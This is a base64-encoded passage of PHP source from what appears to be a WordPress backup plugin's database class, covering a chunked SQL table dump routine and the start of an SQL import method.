OnN0YXR1cyggJ2RldGFpbHMnLCAnQ2h1bmtlZCByZXN1bWUgb24gZHVtcGluZyBgJyAuICR0YWJsZSAuICdgLiBSZXN1bWluZyB3aGVyZSBsZWZ0IG9mZiBhdCBgJyAuICRyZXN1bWVfc3RhcnRpbmdfcm93IC4gJ2AuJyApOwoJCQkJJHJvd3Nfc3RhcnQgICAgICAgICAgPSAkcmVzdW1lX3N0YXJ0aW5nX3JvdzsKCQkJCSRyZXN1bWVfc3RhcnRpbmdfcm93ID0gMDsgLy8gRG9uJ3Qgd2FudCB0byBza2lwIGFueXRoaW5nIG9uIG5leHQgdGFibGUuCgkJCX0gZWxzZSB7CgkJCQkkcm93c19zdGFydCA9IDA7CgkJCX0KCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnRHVtcGluZyBkYXRhYmFzZSB0YWJsZSBgJyAuICR0YWJsZSAuICdgLiBNYXggcm93cyBwZXIgc2VsZWN0OiAnIC4gJG1heF9yb3dzX3Blcl9zZWxlY3QgLiAnLiBTdGFydGluZyBhdCByb3cgYCcgLiAkcmVzdW1lX3N0YXJ0aW5nX3JvdyAuICdgLicgKTsKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ3N0YXJ0VGFibGVEdW1wJywgJHRhYmxlICk7CgoJCQlpZiAoIGZhbHNlID09PSAkdGhpcy0+X2ZvcmNlX3NpbmdsZV9kYl9maWxlICkgewoJCQkJJG91dHB1dF9maWxlID0gJG91dHB1dF9kaXJlY3RvcnkgLiAkdGFibGUgLiAnLnNxbCc7CgkJCX0gZWxzZSB7CgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdBZHZhbmNlZCBvcHRpb24gdG8gZm9yY2UgdG8gc2luZ2xlIC5zcWwgZmlsZSBlbmFibGVkLicgKTsKCQkJCSRvdXRwdXRfZmlsZSA9ICRvdXRwdXRfZGlyZWN0b3J5IC4gJ2RiXzEuc3FsJzsKCQkJfQoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdTUUwgZHVtcCBmaWxlIGAnIC4gJG91dHB1dF9maWxlIC4gJ2AuJyApOwoJCQlpZiAoICctMScgPT0gJHRoaXMtPl9tYXhFeGVjdXRpb25UaW1lICkgewoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnRGF0YWJhc2UgbWF4IGV4ZWN1dGlvbiB0aW1lIGNodW5raW5nIGRpc2FibGVkIGJhc2VkIG9uIC0xIHBhc3NlZC4nICk7CgkJCX0gZWxzZSB7CgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdteXNxbGJ1ZGR5OiBQSFAtYmFzZWQgZGF0YWJhc2UgZHVtcCB3aXRoIG1heCBleGVjdXRpb24gdGltZSBmb3IgdGhpcyBydW46ICcgLiAkdGhpcy0+X21heEV4ZWN1dGlvblRpbWUgLiAnIHNlY29uZHMuJyApOwoJCQl9CgkJCWlmICggZmFsc2UgPT09ICggJGZpbGVfaGFuZGxlID0gZm9wZW4oICRvdXRwdXRfZmlsZSwgJ2EnICkgKSApIHsKCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdlcnJvcicsICdFcnJvciAjOTAxODogRGF0YWJhc2UgZmlsZSBpcyBub3QgY3JlYXRhYmxlL3dyaXRhYmxlLiBDaGVjayB5b3VyIHBlcm1pc3Npb25zIGZvciBmaWxlIGAnIC4gJG91dHB1dF9maWxlIC4gJ2AgaW4gZGlyZWN0b3J5IGAnIC4gJG91dHB1dF9kaXJlY3RvcnkgLiAnYC4nICk7CgkJCQlyZXR1cm4gZmFsc2U7CgkJCX0KCgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdzcWxGaWxlJywgYmFzZW5hbWUoICRvdXRwdXRfZmlsZSApICk7IC8vIFRlbGxzIHN0YXR1cyBjaGVja2VyIHdoaWNoIGZpbGUgdG8gcmVxdWVzdCBzaXplIGRhdGEgZm9yIHdoZW4gcG9sbGluZyBzZXJ2ZXIuCgoJCQlpZiAoIDAgPT0gJHJvd3Nfc3RhcnQgKSB7CgoJCQkJJGNyZWF0ZV90YWJsZSA9ICR3cGRiLT5nZXRfcmVzdWx0cyggIlNIT1cgQ1JFQVRFIFRBQkxFIGB7JHRhYmxlfWAiLCBBUlJBWV9OICk7CgkJCQlpZiAoIGZhbHNlID09PSAkY3JlYXRlX3RhYmxlICkgewoJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdlcnJvcicsICdVbmFibGUgdG8gYWNjZXNzIGFuZCBkdW1wIGRhdGFiYXNlIHRhYmxlIGAnIC4gJHRhYmxlIC4gJ2AuIFRhYmxlIG1heSBub3QgZXhpc3QuIFNraXBwaW5nIGJhY2t1cCBvZiB0aGlzIHRhYmxlLicgKTsKCQkJCQljb250aW51ZTsgLy8gU2tpcCB0aGlzIGl0ZXJhdGlvbiBhcyBhY2Nlc3NpbmcgdGhpcyB0YWJsZSBmYWlsZWQuCgkJCQl9CgkJCQkvLyBUYWJsZSBjcmVhdGlvbiB0ZXh0LgoJCQkJaWYgKCAhIGlzc2V0KCAkY3JlYXRlX3RhYmxlWzBdICkgKSB7CgkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2Vycm9yJywgJ0Vycm9yICM4NTc4MzU6IFVuYWJsZSB0byBnZXQgdGFibGUgY3JlYXRpb24gU1FMIGZvciB0YWJsZSBgJyAuICR0YWJsZSAuICdgLiBSZXN1bHQ6IGAnIC4gcHJpbnRfciggJGNyZWF0ZV90YWJsZSApIC4gJ2AuIFZlcmlmeSB0aGF0IGl0IGV4aXN0cyBhbmQgbXlzcWwgcGVybWlzc2lvbnMgYWxsb3cgdGhpcy4gSWYgeW91IG1hbnVhbGx5IGluY2x1ZGVkIHRoaXMgYXMgYW4gYWRkaXRpb25hbCB0YWJsZSwgbWFrZSBzdXJlIGl0IGlzIHRoZSBjb3JyZWN0IHRhYmxlIG5hbWUuJyApOwoJCQkJCXJldHVybiBmYWxzZTsKCQkJCX0KCQkJCSRjcmVhdGVfdGFibGVfYXJyYXkgPSAkY3JlYXRlX3RhYmxlWzBdOwoJCQkJdW5zZXQoICRjcmVhdGVfdGFibGUgKTsKCQkJCSRpbnNlcnRfc3FsIC49IHN0cl9yZXBsYWNlKCAiXG4iLCAnJywgJGNyZWF0ZV90YWJsZV9hcnJheVsxXSApIC4gIjtcbiI7IC8vIFJlbW92ZSBpbnRlcm5hbCBsaW5lYnJlYWtzOyBvbmx5IHB1dCBvbmUgYXQgZW5kLgoJCQkJdW5zZXQoICRjcmVhdGVfdGFibGVfYXJyYXkgKTsKCgkJCQkvLyBEaXNhYmxlIGtleXMgZm9yIHRoaXMgdGFibGUuCgkJCQkkaW5zZXJ0X3NxbCAuPSAiLyohNDAwMDAgQUxURVIgVEFCTEUgYHskdGFibGV9YCBESVNBQkxFIEtFWVMgKi87XG4iOwoKCQkJCS8vIERpc2FibGUgZm9yZWlnbiBrZXkgYW5kIHVuaXF1ZSBjaGVja3MgdGVtcG9yYXJpbHkgdG8gaGVscCBhdm9pZCBlcnJvcnMuCgkJCQkkaW5zZXJ0X3NxbCAuPSAiU0VUIEZPUkVJR05fS0VZX0NIRUNLUyA9IDA7XG4iOwoJCQkJJGluc2VydF9zcWwgLj0gIlNFVCBVTklRVUVfQ0hFQ0tTID0gMDtcbiI7CgkJCX0KCgkJCSRxdWVyeV9jb3VudCA9IDA7CgkJCSRyb3dzX3JlbWFpbiA9IHRydWU7CgkJCXdoaWxlICggdHJ1ZSA9PT0gJHJvd3NfcmVtYWluICkgewoJCQkJLy8gUm93IGNyZWF0aW9uIHRleHQgZm9yIGFsbCByb3dzIHdpdGhpbiB0aGlzIHRhYmxlLgoJCQkJJHF1ZXJ5ICAgICAgID0gIlNFTEVDVCAqIEZST00gYCR0YWJsZWAgTElNSVQgIiAuICRyb3dzX3N0YXJ0IC4gJywnIC4gJG1heF9yb3dzX3Blcl9zZWxlY3Q7CgkJCQkkdGFibGVfcXVlcnkgPSAkd3BkYi0+Z2V0X3Jlc3VsdHMoICRxdWVyeSwgQVJSQVlfTiApOwoJCQkJJHJvd3Nfc3RhcnQgKz0gJG1heF9yb3dzX3Blcl9zZWxlY3Q7IC8vIE5leHQgbG9vcCB3ZSB3aWxsIGJlZ2luIGF0IHRoaXMgb2Zmc2V0LgoJCQkJaWYgKCBmYWxzZSA9PT0gJHRhYmxlX3F1ZXJ5ICkgewoJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdlcnJvcicsICdFUlJPUiAjODU0NDk3NDUuIFVuYWJsZSB0byByZXRyaWV2ZSBkYXRhIGZyb20gdGFibGUgYCcgLiAkdGFibGUgLiAnYC4gVGhpcyB0YWJsZSBtYXkgYmUgY29ycnVwdCAodHJ5IHJlcGFpcmluZyB0aGUgZGF0YWJhc2UpIG9yIHRvbyBsYXJnZSB0byBob2xkIGluIG1lbW9yeSAoaW5jcmVhc2UgbXlzcWwgYW5kL29yIFBIUCBtZW1vcnkpLiBDaGVjayB5b3VyIFBIUCBlcnJvciBsb2cgZm9yIGZ1cnRoZXIgZXJyb3JzIHdoaWNoIG1heSBwcm92aWRlIGZ1cnRoZXIgaW5mb3JtYXRpb24uIE5vdCBjb250aW51aW5nIGRhdGFiYXNlIGR1bXAgdG8gaW5zdXJlIGJhY2t1cCBpbnRlZ3JpdHkuJyApOwoJCQkJCXJldHVybiBmYWxzZTsKCQkJCX0KCQkJCSR0YWJsZV9jb3VudCA9IGNvdW50KCAkdGFibGVfcXVlcnkgKTsKCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ0dvdCBgJyAuICR0YWJsZV9jb3VudCAuICdgIHJvd3MgZnJvbSBgJyAuICR0YWJsZSAuICdgIG9mIGAnIC4gJG1heF9yb3dzX3Blcl9zZWxlY3QgLiAnYCBtYXguJyApOwoJCQkJaWYgKCAwID09ICR0YWJsZV9jb3VudCB8fCAkdGFibGVfY291bnQgPCAkbWF4X3Jvd3NfcGVyX3NlbGVjdCApIHsKCQkJCQkkcm93c19yZW1haW4gPSBmYWxzZTsKCQkJCX0KCgkJCQkkY29sdW1ucyAgICA9ICR3cGRiLT5nZXRfY29sX2luZm8oKTsKCQkJCSRudW1fZmllbGRzID0gY291bnQoICRjb2x1bW5zICk7CgkJCQlmb3JlYWNoICggJHRhYmxlX3F1ZXJ5IGFzICRmZXRjaF9yb3cgKSB7CgkJCQkJJGluc2VydF9zcWwgLj0gIklOU0VSVCBJTlRPIGAkdGFibGVgIFZBTFVFUygiOwoJCQkJCWZvciAoICRuID0gMTsgJG4gPD0gJG51bV9maWVsZHM7ICRuKysgKSB7CgkJCQkJCSRtID0gJG4gLSAxOwoKCQkJCQkJaWYgKCBudWxsID09PSAkZmV0Y2hfcm93WyAkbSBdICkgewoJCQkJCQkJJGluc2VydF9zcWwgLj0gJ05VTEwsICc7CgkJCQkJCX0gZWxzZSB7CgkJCQkJCQkkaW5zZXJ0X3NxbCAuPSAiJyIgLiBiYWNrdXBidWRkeV9jb3JlOjpkYkVzY2FwZSggJGZldGNoX3Jvd1sgJG0gXSApIC4gIicsICI7CgkJCQkJCX0KCQkJCQl9CgkJCQkJJGluc2VydF9zcWwgID0gc3Vic3RyKCAkaW5zZXJ0X3NxbCwgMCwgLTIgKTsKCQkJCQkkaW5zZXJ0X3NxbCAuPSAiKTtcbiI7CgoJCQkJCSR3cml0ZV9yZXR1cm4gPSBmd3JpdGUoICRmaWxlX2hhbmRsZSwgJGluc2VydF9zcWwgKTsKCQkJCQlpZiAoIGZhbHNlID09PSAkd3JpdGVfcmV0dXJuIHx8IDAgPT0gJHdyaXRlX3JldHVybiApIHsKCQkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2Vycm9yJywgJ0Vycm9yICM4NDM5NDg6IFVuYWJsZSB0byB3cml0ZSB0byBTUUwgZmlsZS4gUmV0dXJuIGVycm9yL2J5dGVzIHdyaXR0ZW46IGAnIC4gJHdyaXRlX3JldHVybiAuICdgLicgKTsKCQkJCQkJQGZjbG9zZSggJGZpbGVfaGFuZGxlICk7CgkJCQkJCXJldHVybiBmYWxzZTsKCQkJCQl9CgkJCQkJJGluc2VydF9zcWwgPSAnJzsKCgkJCQkJJF9jb3VudCsrOwoKCQkJCQkvLyBTaG93IGEgaGVhcnRiZWF0IHRvIGtlZXAgdXNlciB1cCB0byBkYXRlIFthbmQgZW50ZXJ0YWluZWQgOyldLgoJCQkJCWlmICggMCA9PT0gJF9jb3VudCAlIHNlbGY6OkhFQVJUQkVBVF9DT1VOVF9MSU1JVCB8fCAwID09PSAkX2NvdW50ICUgY2VpbCggJG1heF9yb3dzX3Blcl9zZWxlY3QgLyAyICkgKSB7IC8vIERpc3BsYXkgZXZlcnkgWCBxdWVyaWVzIGJhc2VkIG9uIGhlYXJ0YmVhdCBPUiBhdCBsZWFzdCBkaXNwbGF5IGV2ZXJ5IGhhbGYgbWF4IHJvd3MgcGVyIHNlbGVjdC4KCQkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnV29ya2luZy4uLiBEdW1wZWQgYCcgLiAkX2NvdW50IC4gJ2Agcm93cyBmcm9tIGAnIC4gJHRhYmxlIC4gJ2Agc28gZmFyLicgKTsKCQkJCQl9CgkJCQl9IC8vIGVuZCBmb3JlYWNoIHRhYmxlIHJvdy4KCgkJCQlpZiAoIGZhbHNlID09PSAkcm93c19yZW1haW4gKSB7CgkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnRHVtcGVkIGAnIC4gJF9jb3VudCAuICdgIHJvd3MgdG90YWwgZnJvbSBgJyAuICR0YWJsZSAuICdgLiBObyByb3dzIHJlbWFpbi4nICk7CgkJCQl9IGVsc2UgewoJCQkJCWlmICggKCBtaWNyb3RpbWUoIHRydWUgKSAtICRsYXN0X2ZpbGVfc2l6ZV9vdXRwdXQgKSA+ICRvdXRwdXRfZmlsZV9zaXplX2V2ZXJ5X21heCApIHsgLy8gSXQncyBiZWVuIGxvbmcgZW5vdWdoIHRvIGdldCB0aGUgY3VycmVudCBmaWxlIHNpemUgb2YgU1FMIGZpbGUuCgkJCQkJCS8vIERpc3BsYXkgZmluYWwgU1FMIGZpbGUgc2l6ZS4KCQkJCQkJJHNxbF9maWxlc2l6ZSA9IHBiX2JhY2t1cGJ1ZGR5OjokZm9ybWF0LT5maWxlX3NpemUoIGZpbGVzaXplKCAkb3V0cHV0X2ZpbGUgKSApOwoJCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdDdXJyZW50IGRhdGFiYXNlIGR1bXAgZmlsZSBgJyAuIGJhc2VuYW1lKCAkb3V0cHV0X2ZpbGUgKSAuICdgIHNpemU6ICcgLiAkc3FsX2ZpbGVzaXplIC4gJy4nICk7CgkJCQkJCSRsYXN0X2ZpbGVfc2l6ZV9vdXRwdXQgPSBtaWNyb3RpbWUoIHRydWUgKTsKCQkJCQl9CgoJCQkJCS8vIElmIHdlIGFyZSB3aXRoaW4gWCBzZWNvbmRzIChzZWxmOjpUSU1FX1dJR0dMRV9ST09NKSBvZiByZWFjaGluZyBtYXhpbXVtIFBIUCBydW50aW1lIEFORCByb3dzIHJlbWFpbiB0aGVuIHN0b3AgaGVyZSBhbmQgQ0hVTksgc28gdGhhdCBpdCBjYW4gYmUgcGlja2VkIHVwIGluIGFub3RoZXIgUEhQIHByb2Nlc3MuLi4KCQkJCQlpZiAoICctMScgIT0gJHRoaXMtPl9tYXhFeGVjdXRpb25UaW1lICkgewoJCQkJCQlpZiAoICggKCBtaWNyb3RpbWUoIHRydWUgKSAtIHBiX2JhY2t1cGJ1ZGR5Ojokc3RhcnRfdGltZSApICsgc2VsZjo6VElNRV9XSUdHTEVfUk9PTSApID49ICR0aGlzLT5fbWF4RXhlY3V0aW9uVGltZSApIHsgLy8gdXNlZCB0byB1c2UgJHRoaXMtPnRpbWVfc3RhcnQgYnV0IHRoaXMgZGlkIG5vdCB0YWtlIGludG8gYWNjb3VudCB0aW1lIHVzZWQgcHJpb3IgdG8gZGIgc3RlcC4KCQkJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ0FwcHJvYWNoaW5nIGxpbWl0IG9mIGF2YWlsYWJsZSBQSFAgY2h1bmtpbmcgdGltZSBvZiBgJyAuICR0aGlzLT5fbWF4RXhlY3V0aW9uVGltZSAuICdgIHNlYy4gUEhQIHJhbiBmb3IgJyAuIHJvdW5kKCBtaWNyb3RpbWUoIHRydWUgKSAtIHBiX2JhY2t1cGJ1ZGR5Ojokc3RhcnRfdGltZSwgMyApIC4gJyBzZWMsIGRhdGFiYXNlIGR1bXBpbmcgcmFuIGZvciAnIC4gcm91bmQoIG1pY3JvdGltZSggdHJ1ZSApIC0gJHRoaXMtPnRpbWVfc3RhcnQsIDMgKSAuICcgc2VjIGhhdmluZyBkdW1wZWQgYCcgLiAkX2NvdW50IC4gJ2Agcm93cy4gUHJvY2VlZGluZyB0byB1c2UgY2h1bmtpbmcgb24gcmVtYWluaW5nIHRhYmxlczogJyAuIGltcGxvZGUoICcsJywgJHJlbWFpbmluZ190YWJsZXMgKSApOwoJCQkJCQkJQGZjbG9zZSggJGZpbGVfaGFuZGxlICk7CgkJCQkJCQlyZXR1cm4gYXJyYXkoICRyZW1haW5pbmdfdGFibGVzLCAkcm93c19zdGFydCApOwoJCQkJCQl9IC8vIEVuZCBpZi4KCQkJCQl9CgkJCQl9CgoJCQkJLy8gVmVyaWZ5IGRhdGFiYXNlIGlzIHN0aWxsIGNvbm5lY3RlZCBhbmQgd29ya2luZyBwcm9wZXJseS4gU29tZXRpbWVzIG15c3FsIHJ1bnMgb3V0IG9mIG1lbW9yeSBhbmQgZGllcyBpbiB0aGUgYWJvdmUgZm9yZWFjaC4KCQkJCS8vIE5vIHBvaW50IGluIHJlY29ubmVjdGluZyBhcyB3ZSBjYW4gTk9UIHRydXN0IHRoYXQgb3VyIGR1bXAgd2FzIHN1Y2Nlc2Z1bCBhbnltb3JlIChpdCBtb3N0IGxpa2VseSB3YXMgbm90KS4KCQkJCWlmICggaXNzZXQoICRkYmhlbHBlciApICkgewoJCQkJCWlmICggISAkZGJoZWxwZXItPmtpY2soKSApIHsKCQkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2Vycm9yJywgX18oICdFUlJPUiAjOTAyNjogVGhlIG15U1FMIHNlcnZlciB3ZW50IGF3YXkgdW5leHBlY3RlZGx5IGR1cmluZyBkYXRhYmFzZSBkdW1wIG9mIHRhYmxlIGAnIC4gJHRhYmxlIC4gJ2AuIFRoaXMgaXMgYWxtb3N0IGFsd2F5cyBjYXVzZWQgYnkgbXlTUUwgcnVubmluZyBvdXQgb2YgbWVtb3J5LiBUaGUgYmFja3VwIGludGVncml0eSBjYW4gbm8gbG9uZ2VyIGJlIGd1YXJhbnRlZWQgc28gdGhlIGJhY2t1cCBoYXMgYmVlbiBoYWx0ZWQuJyApIC4gJyAnIC4gX18oICdMYXN0IHRhYmxlIGR1bXBlZCBiZWZvcmUgZGF0YWJhc2Ugc2VydmVyIHdlbnQgYXdheTogJyApIC4gJ2AnIC4gJHRhYmxlIC4gJ2AuJyApOwoJCQkJCQlAZmNsb3NlKCAkZmlsZV9oYW5kbGUgKTsKCQkJCQkJcmV0dXJuIGZhbHNlOwoJCQkJCX0KCQkJCX0gZWxzZSB7CgkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnRGF0YWJhc2Uga2lja2VyIHVuYXZhaWxhYmxlIHNvIGNvbm5lY3Rpb24gc3RhdHVzIHVudmVyaWZpZWQuJyApOwoJCQkJfQoJCQl9IC8vIEVuZCB3aGlsZSByb3dzIHJlbWFpbi4KCgkJCS8vIFJlbW92ZSB0aGUgY3VycmVudCB0YWJsZSBmcm9tIHRoZSBsaXN0IG9mIHRhYmxlcyB0byBkdW1wIGFzIGl0IGlzIGRvbmUuCgkJCXVuc2V0KCAkcmVtYWluaW5nX3RhYmxlc1sgJHRhYmxlX2tleSBdICk7CgoJCQkvLyBSZS1lbmFibGUga2V5cyBmb3IgdGhpcyB0YWJsZS4KCQkJJGluc2VydF9zcWwgIC49ICIvKiE0MDAwMCBBTFRFUiBUQUJMRSBgeyR0YWJsZX1gIEVOQUJMRSBLRVlTICovO1xuIjsKCQkJJGluc2VydF9zcWwgIC49ICJTRVQgRk9SRUlHTl9LRVlfQ0hFQ0tTID0gMTtcbiI7CgkJCSRpbnNlcnRfc3FsICAuPSAiU0VUIFVOSVFVRV9DSEVDS1MgPSAxO1xuIjsKCQkJJHdyaXRlX3JldHVybiA9IGZ3cml0ZSggJGZpbGVfaGFuZGxlLCAkaW5zZXJ0X3NxbCApOwoJCQlpZiAoIGZhbHNlID09PSAkd3JpdGVfcmV0dXJuIHx8IDAgPT0gJHdyaXRlX3JldHVybiApIHsKCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdlcnJvcicsICdFcnJvciAjODQzOTQ4OiBVbmFibGUgdG8gd3JpdGUgdG8gU1FMIGZpbGUuIFJldHVybiBlcnJvci9ieXRlcyB3cml0dGVuOiBgJyAuICR3cml0ZV9yZXR1cm4gLiAnYC4nICk7CgkJCQlAZmNsb3NlKCAkZmlsZV9oYW5kbGUgKTsKCQkJCXJldHVybiBmYWxzZTsKCQkJfQoJCQkkaW5zZXJ0X3NxbCA9ICcnOwoKCQkJQGZjbG9zZSggJGZpbGVfaGFuZGxlICk7CgoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdGaW5pc2hlZCBkdW1waW5nIGRhdGFiYXNlIHRhYmxlIGAnIC4gJHRhYmxlIC4gJ2AuJyApOwoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZmluaXNoVGFibGVEdW1wJywgJHRhYmxlICk7CgkJCWlmICggaXNzZXQoICRvdXRwdXRfZmlsZSApICkgewoJCQkJJHN0YXRzID0gc3RhdCggJG91dHB1dF9maWxlICk7CgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdEYXRhYmFzZSBTUUwgZHVtcCBmaWxlICgnIC4gYmFzZW5hbWUoICRvdXRwdXRfZmlsZSApIC4gJykgc2l6ZTogJyAuIHBiX2JhY2t1cGJ1ZGR5OjokZm9ybWF0LT5maWxlX3NpemUoICRzdGF0c1snc2l6ZSddICkgKTsKCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdzcWxTaXplJywgJHN0YXRzWydzaXplJ10gKTsKCQkJfQoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdBYm91dCB0byBmbHVzaC4uLicgKTsKCQkJcGJfYmFja3VwYnVkZHk6OmZsdXNoKCk7CgoJCX0gLy8gZW5kIGZvcmVhY2ggdGFibGUuCgoJCUBmY2xvc2UoICRmaWxlX2hhbmRsZSApOwoJCXVuc2V0KCAkZmlsZV9oYW5kbGUgKTsKCgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBfXyggJ0ZpbmlzaGVkIFBIUCBiYXNlZCBTUUwgZHVtcCBtZXRob2QuIFJhbiBmb3IgJyAuIHJvdW5kKCBtaWNyb3RpbWUoIHRydWUgKSAtICR0aGlzLT50aW1lX3N0YXJ0LCAzICkgLiAnIHNlYy4nLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKSApOwoJCXJldHVybiB0cnVlOwoKCX0gLy8gRW5kIF9waHBkdW1wKCkuCgoKCS8qKgoJICogR2V0IGFuIGFycmF5IG9mIG1ldGhvZHMuIE5vdGU6IElmIGZvcmNlIG92ZXJyaWRpbmcgbWV0aG9kcyB0aGVuIGRldGVjdGVkIG1ldGhvZHMgd2lsbCBub3QgYmUgYWJsZSB0byBkaXNwbGF5LgoJICoKCSAqIEByZXR1cm4gYXJyYXkgIEFycmF5IG9mIG1ldGhvZHMuCgkgKi8KCXB1YmxpYyBmdW5jdGlvbiBnZXRfbWV0aG9kcygpIHsKCQlyZXR1cm4gJHRoaXMtPl9tZXRob2RzOwoJfQoKCS8qKgoJICogSW1wb3J0IFNRTCBjb250ZW50cyBvZiBhIC5zcWwgZmlsZSBpbnRvIHRoZSBkYXRhYmFzZS4gT25seSBtb2RpZmljYXRpb24gaXMgdG8gdGFibGUgcHJlZml4IGlmIG5lZWRlZC4gUHJlZml4ZXMgKG5ldyBhbmQgb2xkKSBwcm92aWRlZCBpbiBjb25zdHJ1Y3Rvci4KCSAqIEF1dG9tYXRpY2FsbHkgaGFuZGxlcyBmYWxsYmFjayBiYXNlZCBvbiBiZXN0IGF2YWlsYWJsZSBtZXRob2RzLgoJICoKCSAqIEBwYXJhbSBzdHJpbmcgJHNxbF9maWxlICAgICAgICAgRnVsbCBhYnNvbHV0ZSBwYXRoIHRvIC5zcWwgZmlsZSB0byBpbXBvcnQgZnJvbS4KCSAqIEBwYXJhbSBzdHJpbmcgJG9sZF9wcmVmaXggICAgICAgT2xkIGRhdGFiYXNlIHByZWZpeC4gTmV3IHByZWZpeCBwcm92aWRlZCBpbiBjb25zdHJ1Y3Rvci4KCSAqIEBwYXJhbSBpbnQgICAgJHF1ZXJ5X3N0YXJ0ICAgICAgUXVlcnkgbnVtYmVyIChha2EgbGluZSBudW1iZXIpIHRvIHJlc3VtZSBpbXBvcnQgYXQuCgkgKiBAcGFyYW0gYm9vbCAgICRpZ25vcmVfZXhpc3RpbmcgIE5PVEU6IEJhc2ljYWxseSBpZ25vcmVzIG15c3FsIGVycm9ycyB0aGVzZSBkYXlzLiBQYXN0IHB1cnBvc2U6IFdoZXRoZXIgb3Igbm90IHRvIGFsbG93IGltcG9ydCBpZiB0YWJsZXMgZXhpc3QgYWxyZWFkeS4gRGVmYXVsdDogZmFsc2UuCgkgKgoJICogQHJldHVybiBtaXhlZCAgdHJ1ZSBvbiBzdWNjZXNzIChib29sZWFuKSwgZmFsc2Ugb24gZmFpbHVyZSAoYm9vbGVhbiksIGludGVnZXIgKGludCkgb24gbmVlZGluZyBhIHJlc3Vtc2UgKGludGVnZXIgaXMgcmVzdW1lIG51bWJlciBmb3IgbmV4dCBwYWdlIGxvYWRzICRxdWVyeV9zdGFydCkuCgkgKi8KCXB1YmxpYyBmdW5jdGlvbiBpbXBvcnQoICRzcWxfZmlsZSwgJG9sZF9wcmVmaXgsICRxdWVyeV9zdGFydCA9IDAsICRpZ25vcmVfZXhpc3RpbmcgPSBmYWxzZSApIHsKCQkkcmV0dXJuICAgICAgICAgICAgICAgICAgPSBmYWxzZTsKCQkkdGhpcy0+X2N1cnJlbnRfc3FsX2ZpbGUgPSAkc3FsX2ZpbGU7CgoJCS8vIFJlcXVpcmUgYSBuZXcgdGFibGUgcHJlZml4LgoJCWlmICggJycgPT0gJHRoaXMtPl9kYXRhYmFzZV9wcmVmaXggKSB7CgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdlcnJvcicsICdFUlJPUiA5MDA4OiBBIGRhdGFiYXNlIHByZWZpeCBpcyByZXF1aXJlZCBmb3IgaW1wb3J0aW5nLicgKTsKCQl9CgoJCWlmICggJHF1ZXJ5X3N0YXJ0ID4gMCApIHsKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ21lc3NhZ2UnLCAnQ29udGludWluZyB0byByZXN0b3JlIGRhdGFiYXNlIGR1bXAgc3RhcnRpbmcgYXQgZmlsZSBsb2NhdGlvbiBgJyAuICRxdWVyeV9zdGFydCAuICdgLicgKTsKCQl9IGVsc2UgewoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnbWVzc2FnZScsICdSZXN0b3JpbmcgZGF0YWJhc2UgZHVtcC4gVGhpcyBtYXkgdGFrZSBhIG1vbWVudC4uLicgKTsKCQl9CgoJCWlmICggdHJ1ZSA9PT0gJGlnbm9yZV9leGlzdGluZyApIHsKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnT3B0aW9uIHNldCB0byBpZ25vcmUgbXlzcWwgZXJyb3JzL2V4aXN0aW5nIHRhYmxlcy4nICk7CgkJfQoKCQlnbG9iYWwgJHdwZGI7CgoJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdtZXNzYWdlJywgJ1N0YXJ0aW5nIGRhdGFiYXNlIGltcG9ydCBwcm9jZWR1cmUuJyApOwoJCWlmICggJy0xJyA9PSAkdGhpcy0+X21heEV4ZWN1dGlvblRpbWUgKSB7CgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ0RhdGFiYXNlIG1heCBleGVjdXRpb24gdGltZSBjaHVua2luZyBkaXNhYmxlZCBiYXNlZCBvbiAtMSBwYXNzZWQuJyApOwoJCX0gZWxzZSB7CgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ215c3FsYnVkZHk6IE1heGltdW0gZXhlY3V0aW9uIHRpbWUgZm9yIHRoaXMgcnVuOiAnIC4gJHRoaXMtPl9tYXhFeGVjdXRpb25UaW1lIC4gJyBzZWNvbmRzLicgKTsKCQl9CgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnbXlzcWxidWRkeTogT2xkIHByZWZ